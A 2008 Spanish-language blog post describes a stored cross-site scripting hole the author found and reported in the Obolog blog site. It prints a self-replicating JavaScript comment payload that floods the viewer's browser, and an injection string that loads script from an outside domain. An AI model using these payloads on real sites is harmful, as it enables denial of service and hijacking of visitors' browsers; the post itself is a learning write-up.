miércoles, 16 de abril de 2008

Super Lamer JavaScript Bomb

Esto no es muy avanzado, pero como no se mucho de programacion web y de cosas dinámicas como AJAX, me sirvió para aprender un poco más.

La idea es las páginas web pueden contener código JavaScript que haga requests HTTP dentro del mismo dominio web de la página y requests HTTP fuera del dominio pero sin ver el resultado. Entonces si alguna página web no filtra bien el contenido que deja poner y te permite inyectar JavaScript entonces podes hacer las cosas que hace la página web cuando alguién la accede. Un ejemplo famoso y descontrolado de esto fue el Worm de MySpace "samy is my hero".

Este tipo de inyecciones son conocidas como Cross Site Scripting cuando se realizan requests HTTP para robar información de usuarios de un dominio y mandarla a otro.

Dependiendo del caso se pueden hacer pocas cosas o muchas y generalmente hay restricciones de espacio y de cosas dadas por el dominio cambios en el dominio (www.foo.com en vez de foo.com), no se puede leer información de otros dominios, sí enviar.

En mi caso particular encontré una inyección de JavaScript en un sitio web de blogs, llamado Obolog. Mi idea era ver si es posible hacer un worm que no use informacion de usuario logueados, sino que replique solamente usando los comentarios de los blogs. Como solamente se pueden inyectar 256 carácteres lo único que pude hacer es un GET e imprimirlo para lograr un comentario anónimo persistente que hace que la página se autoreplique en el browser. es decir DoS (denial of service) del cliente. Esta falla ya fue reportada, con suerte será reparada en breve.

Si uno quiere meter esta mini-bomba JavaScript en un comentario de pablito.obolog.com/nombre-del-post-34543534 hay que meter en la parte del GET del siguiente código (compactado para que ocupe menos espacio) precedido por comillas dobles " para escapar del campo:

<script>
function p()
{
if(R.readyState==4)
{
for(i=0;i<2;i++)
document.write(R.responseText)
}
var R=new XMLHttpRequest();
R.onreadystatechange=p;
R.open('GET','/nombre-del-post-34543534',true);
R.send(null)
</script>


El efecto es que cuando el comentario esta cargado y se mira la página entonces la página pide otra copia de si misma al servidor y la imprime, siendo la copia (que incluye el código JavaScript) evaluada nuevamente de manera recursiva. La página se imprime dos veces para tratar de lograr un efecto exponencial, sin mucho exito creo.

Si la inyección puede ser mostrada en la página principal se puede meter '/' en la página y tener una bomba más genérica.

Ver el resultado en este comentario.


Como me ilustra mi amigo aurelianito, en realidad se puede hacer mucho más porque se puede incluir un archivo JavaScript completo de otro dominio usando algun truco básico como. Se nota que soy super lamer.


"><script src=http://subdom.site.com/js.js></script><noscript>


Entonces la cuestión se pone mucho más peligrosa ahora. El truco este del src fue extraido del artículo Anatomy of a "Pseudo-Reflective" Worm.